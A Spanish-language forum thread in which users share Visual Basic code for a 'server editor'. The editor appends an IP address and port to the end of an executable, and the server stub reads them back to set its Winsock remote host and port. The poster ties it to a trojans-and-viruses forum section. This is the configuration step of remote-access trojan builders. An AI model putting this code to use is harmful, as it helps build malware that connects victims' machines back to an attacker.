editor de server VB

[LixKeÜ]

hola mi problema y mi falta de conocimientos es esto estoy asiendo un editor de server y mi inconveniente es que para este tipo de caso para poder sobreescrivir en el exe lo primero que tenemos que hacer es abrirlo en binario y de alli ir colocando los datos con put siempre al final :

Private Sub Command1_Click()
     Dim ip As String * 15 '//igual con la variable que contendra el pass, con capacidad de 20 bytes.
     ip = Text1.Text
     
     Open "C:\descargas\MIS PROGRAMAS\editor de server\1.exe" For Binary As #1 '//abrimos el archivo en forma binaria.
        Seek (1), LOF(1) + 1 'nos vamos al final del archivo
        Put #1, , ip '//colocamos el contenido de las variables
        Close #1 '//cerramos el archivo.


MY PROBLEMA ES COMO AGO PARA QUE EL ARCHIVO AL QUE ESCRIBIMOS LOS DATOS AL FINAL LO PONGA EN EL TEXBOX.

[LixKeÜ]

lei por alli que se hace abriendo el archivo en binario y de alli tomas los datos que se encontraban al final del mismo y de ally lo colocas en un texbox a travez de una variable.
  Espero que mas o menos este en lo correpto y que alguien pueda darme una mano BIEN EXPLICAD 
  Un salub y gracias a todos

[LixKeÜ]

gracias igual a todos por no responder pero ya pude aprender como aherlo y si alguien quiere que se lo enseñe que lo postee aqui y se lo enseño :shocked:

[Thaorius]

A mi me sirve la info. podes postearla?

Saludos

[LixKeÜ]

A mi me sirve la info. podes postearla?

Saludos

Private Sub Form_Load()
Dim a As String * 20
Dim b As String * 5


a = Text1.Text
b = Text2.Text



End Sub

Private Sub Image2_Click()

On Error GoTo hacer
Image3.Visible = True
Dim a As String * 20
Dim b As String * 5
a = Text1.Text
b = Text2.Text
cd.Filter = "Todos los archivos |*.*"
cd.ShowOpen
Open cd.FileName For Binary As #1
Seek (1), LOF(1) + 1
Put #1, , a
Put #1, , b
Close #1
MsgBox "Su servidor ya fue creado con EXITO"
hacer:

Select Case Err.Number
Case 75
MsgBox "Has cancelado para abrir el archivo"
End Select

End Sub

eso en el edito
   y en el server

Dim a As String * 20
Dim b As String * 5


Dim ap As String
Dim bp As String

Open App.path & "\" & App.EXEName & ".exe" For Binary As #1
Seek (1), LOF(1) - 24
Get #1, , a
Get #1, , b

Close #1
ap = Trim(a)
bp = Trim(b)
Text1.Text = ap
Text2.Text = bp
On Error Resume Next
ip = Text1.Text
ipftp = Text1.Text
port = Text2.Text
ws.RemoteHost = ip
ws.RemotePort = port

[BenRu]

Gracias, a mi tambien me viene bien 

[LixKeÜ]

De nada amigos 

  yo ya lo abia puesto el editor de server en troyanos y virus con unos ejemplos de troyanos pero creo que solo estuvo un dia y los moderadores lo quitaron pero bueno ellos son los que ponen las reglas o sino miren lo que seria de esto no.

[Thaorius]

Gracias